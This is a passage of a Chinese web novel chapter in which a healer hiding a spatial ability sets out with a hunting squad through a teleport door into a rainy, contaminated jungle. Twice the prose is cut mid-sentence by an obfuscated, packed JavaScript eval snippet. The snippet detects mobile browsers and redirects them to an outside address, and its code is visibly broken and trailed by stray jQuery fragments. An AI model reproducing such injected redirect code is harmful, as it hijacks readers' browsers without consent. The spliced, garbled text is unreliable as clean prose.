但红薯是从空间拿出来放在储物格里的，大小和味道都跟种植区的不一样。方青禾这两天见季青石的次数太多一下子就大意了，被他这么一说才反应过来自己漏了马脚。 “厨子不偷五谷不收，我守着这么大一片种植区总得给自己换点儿吃得顺口的吧。” “这半个红薯就当我贿赂季队长的，吃了我的红薯就不能把这事往外说了。” 好在方青禾脑子转得不算慢，季青石点她的话大概率是误会她偷拿种植区的粮食去黑市上换东西了。 有空间异能的人不多，但是也不是没有。能在空间里种植或养殖末世之前粮食和牲畜的人，总会把一部分产出送到黑市上去卖。 既然误会了那就这么误会下去好了，总比让他猜着自己身上有空间异能要好。没有空间异能即便又会草木又治疗，自己也只是个拥有异能的人。 但要是被中心区的人知道自己有空间，一个能自己种地又还能有空间放存活的人，大概用不了多久自己就会被中心区的某位首领占为己有，变成他私人的粮食补给包。 “我这个人嘴严”季青石笑着接过方青禾掰开分给自己的半个红薯，“有方医生的红薯嘴更严了。” 一顿饭吃完，连齁咸的腊肉都被两人吃干净了，菜碗里剩下碗底的油也被他拿馒头给沾了，最后一个馒头吃完碗底都不见什么油花。 吃完饭，还没等方青禾说什么季青石就主动端起几个碗起身走到厨房水池旁准备洗碗。 “吃了你的饭，就不能让你再洗碗了。你平时用什么洗碗？” “你右手边有个小盒子，里面装的草木灰，用那个洗。” 现在没有洗洁精，洗碗要么用水淋一淋要么用皂角。皂角现在卖得贵，大多数人还是都在家里备一点草木灰，除了能洗碗还能止血。 很多人从城外回来受了伤，要是不严重的话都是回家抓一把草木灰往伤口上一盖，只要能把血止住就行。 就这么几个碗，抓一把草木灰抹一下冲一下也就干净了。但方青禾还是看着季青石的背影恍了一瞬间的神，这还是第一次有人跟自己一起吃了饭之后，坐在这儿看别人洗碗。 雨季安全区的防护板是一直升起来的，整个安全区分辨白天和黑夜全靠护板下方的大灯，和有调节气候异能的人来模拟日夜交替。 这会儿暮色沉沉，大灯从日光白转变成了淡淡的橙黄，光从窗户外面投射进来，整个客厅和厨房的画面都很像方青禾从黑市淘来的老电影光盘里的样子。 季青石把碗洗完就走了，方青禾等季青石走出自己的院子，才回来重新给罐头准备晚饭。 本来今天还能给罐头剩一点红薯皮拌在饭里，谁知道这个季青石吃红薯连皮都一起吃了。方青禾不好意思当着他的面浪费，也一样吃了一个半红薯的皮。 看得一直趴在沙发角落的罐头一脸迷惑，这个香香的皮不是一直都是自己吃的？怎么今天妈妈都给吃了！ 出曙光城有两种选择，一是坐城际大巴从平民区往第五区和第六区一站一站倒。这种出城的方法出去的时候只需要验证身份，确定当下没有被通缉就行。 选择这样出安全区的人回来也必须原路返回，在从安全区外进第六区的时候会有一道关卡，不管从城外带没带东西回来，都需要交五个贡献点作为入城费。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037441|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果你带回来的东西价值超过基础值，那就不是五个贡献点能糊弄的了。至于多少东西算是超出基础值这事压根没定下来过，到底该交多少都由守关的指挥官来定。 没有标准的规矩，不就是砧板上的鱼任人宰割。所以除非是没人组队或者能力不够的普通人，大部分像方青禾这样出城的小队，都会选择另一种出入方法。 另外一种就是走暗道，暗道联通四、五、六三个区，看守出口的是有空间转移异能的人，每天连接各区出口的位置都不同，怎么找到这些看守出口的人，都得到了当天才能知道。 第二天早上六点，安全区报时的时候方青禾已经把早饭都做好了。今天出门不能骑电驴子，整个小队里又没有一个能带人飞或是速移异能的人，今天一出门接下来两天就全靠腿着走。 所以方青禾除了给一起出城的几人都带了一顿很说得过去的早饭之外，还用牛皮袋子装了满满一袋子鸭肉干和牛肉干，以防出了安全区碰上大雨大风体力消耗太快的时候补充能量。 出门之后方青禾先往季青石家里走，他还不知道他们约的老地方在哪儿，第一次跟出城得自己带着去。 “怎么样，都准备好了？” “好了，走吧。” 季青石脸色有点儿苍白，看得方青禾皱起眉头。明明昨天傍晚才给他打了一针，总不能现在药效就褪了吧。 要是药效褪得这么快，那方青禾就一点儿也不意外他为什么会被中心区赶出来。诊所一支t12两百贡献点，就他这个用法按照指挥官带队出去一次拿到的奖励，确实不足以支撑他在中心区的生活。 “外面在下雨，大雨。” 掺了沙金的防护板不止挡雨还能隔绝大部分声音，再加上防护板的挑高极高，大部分都不知道安全区外面是个什么情况。 季青石看她有点疑惑地看着自己，开口解释道：“大雨天老伤有点疼，这种疼不用打针，等会儿就好了。” “那我还要再多带两支药吗？” “不用了，药不管用，等雨季过去就好了。” 季青石这幅破身子曾被身边的副官嘲笑就像那种老寒腿，外面天气一变你这边就有反应，比中心区的预警还要敏感。 想到老友的戏言，季青石跟在方青禾身后的脚步都轻快了不少。 末世求生艰难，有些人觉得不能有丝毫羁绊才能活得更长久，而有些人则觉得要给自己多找一些枝蔓牵挂，才有力气继续往下走。 而季青石的羁绊则是一路走来遇见过的那么多同行过的人，有他们出现在自己的生命里，在这个末世下活着才不那么难熬。 老地方是在四分区维修中心后面的一个小巷子里，巷子两边都是类似铁皮巷的房子。这边的房子大多数由自己烧的土砖砌起来的，看着灰蒙蒙的但是隔音效果比铁皮巷那边要好。 陆尘照旧是第一个到的，方青禾带着季青石走得不慢。两人到了没一会儿要一起出城的铁头先到，四人又等了十来分钟林小雨才气喘吁吁的跑过来。 “迟到了。” “知道，罚我五个贡献点。” 方青禾把早饭分给众人，林小雨接过葱油的花卷笑嘻嘻的跟她道歉。随即一边吃早饭一边带着众人拐进另外一条巷子，她消息最灵通，今天出城要走的暗道由她领路。 12. 出城 今天守进出口的是熟人老黄，老黄的异能特别厉害，人家手指一划就是一道能连接不同地点的门，能实现瞬移。 就因为觉醒的这个异能，听说他有几年是能上中心区大统领议会的大佬，整个曙光城的建立他也是立下过汗马功劳的人。 但这个异能也有局限，第一：连接的地点一定得是他去过的清晰记得地点的地方，他没去过的哪怕别人描述得再清晰，他凭想象划出来的门连接的也只能一片虚空。 第二：这个异能会枯竭。老黄今年五十五了，在整个安全区这个年纪的人都算是少之又少。末世之前五十岁还正是上有老下有小的年纪，而末世之后的五十五岁更像远古的数百上千年前一般，真的到了知天命的年纪。 五十岁过后，老黄能传送的地点越来越近，每次传送过一段时间之后异能还会失效。到今年老黄用一天异能得休息半个月，这么一来这个异能跟没有也没什么区别了。 渐渐的中心区统领们对老黄的依赖越来越少，而除了这个异能之外就没有别的能力老黄自然没法再留在中心区，这不两年前人家就到四分区落户来了。 不过他比季青石精明，季青石名头太大，中心区的统领这次把他发配出来是起了杀鸡儆猴的心，因为要儆猴所以才做得这么不留后手不留情面。 而老黄的异能本来就不是攻击类的，立不了季青石那样的大功，就不会那么碍眼。他出中心区是他自己挑的去处，这个平民区是他自己愿意来的。 从中心区出来以后老黄在四分区管理仓库，平时大多数时候守着仓库，等异能冷却完成之后就来看守一天暗道。这一天赚的贡献点，比他做一年仓库管理发的贡献点还要更多。 “老黄，我们今天从你这里走，回来就得我们自己想办法了。这费用是不是要优惠一点儿啊。” “二十贡献点一个人，概不还价。我的本事你们知道，别人带人瞬移没弄好落下个耳朵也不是没发生过。从我的门走保证出去的地方也安全，就这你还要还价？” “还还看嘛，不答应就算了，万一你肯便宜几个贡献点，一天的工资不就又省下来了。” 方青禾跟老黄是真的熟，毕竟种植区的产物都是要进仓储的，这个过程中两边负责人要是好说好商量，不光种植区和仓库都能扣下一部分‘避免不了’的损耗，便是中途运粮的工人也能在卸货的时候想法子给自己多留一点儿。 方青禾跟老黄都知道是怎么回事，但两人做交接的时候一贯默契：只要不过分，就没有必要一分一厘的跟人死抠。这世道都是在想方设法活下去，只要能活下去用的什么法子都不丢人。 所以方青禾跟他还价很正常，见还价不成功自然也不失望，当着老黄的面再次点过人头，才把一百个贡献点给他转了过去。 护卫队里有阔有穷，可要论手头最宽裕的自然是方青禾。每次进出安全区的路费和吃饭花的贡献点都是方青禾先垫付，等回到安全区他们各自把出城所得卖了换了贡献点，再到方青禾那里去销账。 “你这人，整个四分区最精明的也精明不过你去。”老黄收到贡献点之后，笑着拿手指在虚空划开一道门，“赶紧走吧，送你个消息，南边进第六区的鼹鼠道通了，到时候走那条路回来。” 方青禾还想再问，腿已经比嘴快一步迈进了门。刚刚还沐浴在安全区晴空万里的大灯下，下一秒出了安全区兜头而来的就是倾盆大雨。偏偏身后跟着的是季青石，这位爷还饶有兴致的问：“鼹鼠道是什么。” “非要这个时候问吗？！赶紧穿防护服，找到躲雨的地方再说。” 老黄没说假话，他给的门另一端出口确实很安全，是临近丛林区最大的一处落脚点。唯一不好的就是这地方这地方本来应该是临时搭建的安全屋，不知道是不是这个雨季的雨量太大，屋顶居然没了大半。 五个人此刻就站在没了屋顶的安全屋里，不过三五秒的时间就被淋成了落汤鸡。幸好林小雨施展异能，才没被下成雨幕的大雨继续淋下去。 林小雨的异能是防护，开启防护罩可以阻挡普通的水火毒气和污染源，咬牙死扛也能扛住一轮小规模枪战打击。但要是污染来源太浓或者还有第二轮攻击，她就说什么都扛不住了。 正是因为如此，明明有防护异能的林小雨也只能留在平民区护卫队里任职。 不过她对这个一向看得很开，她家里还有爸爸妈妈和两个妹妹，他们都没有觉醒异能。 她觉得她就这么留在护卫队挺好的，有时间跟着陆尘几人出城来捕猎，或多或少能帮着家里把日子过得更好点儿，就很不错了。 她今年才十八，她不知道末世来临之前是什么样子。她只知道父母能在末世之后生下自己还活了下来，那么这辈子自己就得护着他们过到自己死亡的那一天为止。 各自把防护服穿好，林小雨也顺势把防护罩收了起来。在安全区外面赖以生存的重要手段是异能，但很多时候要了命的也是异能。 异能和异种是生来相克的两种气息，就像有异能的人能感知到异种污染，异种也能感知到异能触发使用时散发出来的味道和气息。 雨水重新打在防护服上，虽然暂时不用再担心带有污染源的雨水被身体吸收，但跟冰雹差不多大的雨滴噼啪砸在身上，脚下泥水横流也不是个事。 陆尘脸色有些难看，按照以往的流程，雨季出了安全区之后先找安全屋。在安全屋里等着雨势渐小，再安全屋为起点先在丛林和安全区中间荒野搜寻一遍。 雨季的雨一下就没完，很多林子里的动物也会被大雨混着泥沙冲出丛林，在荒原上迷失方向。 还有一些水泡子里会聚集大鱼，这些鱼从雨季开始长得飞快，鱼肉难吃但鱼皮变得非常韧，剥下来攒起来很多人都愿意换。 小队一般先把荒原扫一遍，把沿途捕到的所有活物带到林子边缘进行预处理。处理好的东西由方青禾驱动异能催生无毒的草木紧紧裹住埋进土坑里，等从林子里出来再带上东西一起回城。 “得赶紧进林子，林子里雨小。” “那外面的猎物都不要了？” “回来路上能拿的就拿，拿不了就算了。” 搁在以往陆尘不会这么大方，但是今天队伍里有季青石，这次出城他想要打个大的。 他想，林小雨和铁头也想，正是因为大家都有这个需要，他们两个才会在连见都没过季青石的情况下答应他入伙。 之前就有人一直想从陆尘这里定一副鬣狗的牙，但现在的鬣狗已经变得比后世的大野猪还要大，背上的毛跟钢刷一样，三五个没有异能的人碰上了只有逃命的份。 没有季青石的时候，四人小队里林小雨的防护罩拦不住全力冲击的鬣狗多久，方青禾是奶妈，真正能往上冲的只有陆尘和铁头，所以陆尘的想头一直都只是想头。 “行，这个你们一人含一片在舌头底下，今天的雨里面污染特别重，我怕防护服再漏了。” 方青禾从随身的包里掏出几片长得像薄荷叶的树叶，上面有她泡过的药水，能抵挡一阵子污染和异种带来的浊气。 季青石接过的叶子有两片，他常年用药身上的耐药性太大，一片叶子对他来说应该维持不了多久。 五个人做好准备就出了没顶的安全屋，从安全屋往丛林方向走的路已经被无数人踩过，即便雨季被不断冲刷也还是没完全掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037442|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖。 几人按照陆尘开路，林小雨和铁头紧随其后，方青禾倒二季青石压阵的顺序，以极快的速度往前推。 路过一个水泡子的时候林小雨没忍住想要停下看一看，也被铁头按住肩膀推着往前走了。 走得越久越能感觉到这场雨真的不大对，陆尘心里也对自己之前的猜测产生了更大的怀疑。 那天夜里安全区的防护网应该不是人为破坏的，中心区就算有瞒着的事，那也应该是这个雨季的雨大得过分，雨要是一直这么不停下下去，防护网肯定还得破，下一次破恐怕就不是一个洞两个洞这么简单了。 五个人没有拖后腿的，狂走了一个小时左右就顺利进了林子。进了林子就是方青禾的主场了，她顺手捉住季青石的手超过铁头和林小雨，往前赶上陆尘。 “这次你去最后压阵，让季青石给我开道。” “你们俩小心点儿，有什么问题叫我们。” 陆尘明白方青禾的意思，大家愿意带上季青石是一回事，但是头一次出城要他们多信任他又是另一回事。既然季青石到前面来了，陆尘就不能跟他一起挤在前面。 季青石对此没有意见，从跟着出来到现在他看出来了，这四个人组成的小队战斗能力或许不行，纪律和脑子方面没有人是糊涂的，他们有这样的警惕心是好事，要不然就按照他们出城的频率活不到现在。 丛林里树高叶阔，雨势小了一大半。别人这种雨季进林子是找死，但这会儿蛇虫却是躲着这五个人走，方青禾站在队伍最前面感受了一下林间的气场和味道，半晌才抬手往南边指了指：“走这边。” 方青禾带路，季青石几乎跟她并排开路，又走了一个多小时才停下。她转身看向殿后的陆尘：“再往前走遭遇中型野兽的概率就大了，要不要先找地方吃点东西补给一下。” “这边我们之前来得少，哪里有躲雨的地方你能感知到吗。” “我知道。” 季青石有点喘，喘得几乎不像个有顶级战斗异能的人。但他这话说出口，还是让几人都看向他。 “这片林子我带人来做过训练，五年前我的副官也带人清理过一遍。所有变异的异种和落单的丧尸都被清理干净了。当时我们落脚的地方是个山洞，再往前走两个小时能到。” “既然要休息要补给不如去那里，只要这一路过去不碰上野兽，到时候都不用出去找，在山洞里生一堆火烤点活物，你想要捕猎的东西会自动找上我们。” 那要是过去的路上碰到了呢？这话方青禾没问出口，但其他人眼里的意思也就是这个。 “要是运气不好过去的路上就碰到了，那不就正好省得我们再找。我也正好能派上用场，省得白跟你们出来一趟。” 隔着防护服的面罩季青石忍不住笑了一下，自从觉醒异能之后他就再也没有像现在这样光凭两条腿，在安全区之外的地方一寸一寸搜寻，虽然原始又狼狈，但一直压在心头的郁闷不知道怎么就突然松动了一些。 “就按照队长说的意思，继续往前走。” 季青石最后一句话说动了陆尘，季青石这次一直好声好气跟自己商量一起出城，不过是他刚来平民区不知道出城的暗道罢了。 暗道他知道该怎么找，回去的时候也会知道鼹鼠道是什么东西，下次他要干什么就不用再跟小队一起了。所以自己想要打大猎物，很有可能就只有这一次机会。 统一了意见一行人继续往南走，运气还不错，直到找到季青石口中的大山洞，一路也没有碰到大型野兽。 唯一遇上的是两只变异得比萨摩还大的大老鼠，也被铁头拿他特质的枪头一戳一个对穿，拖着进了山洞。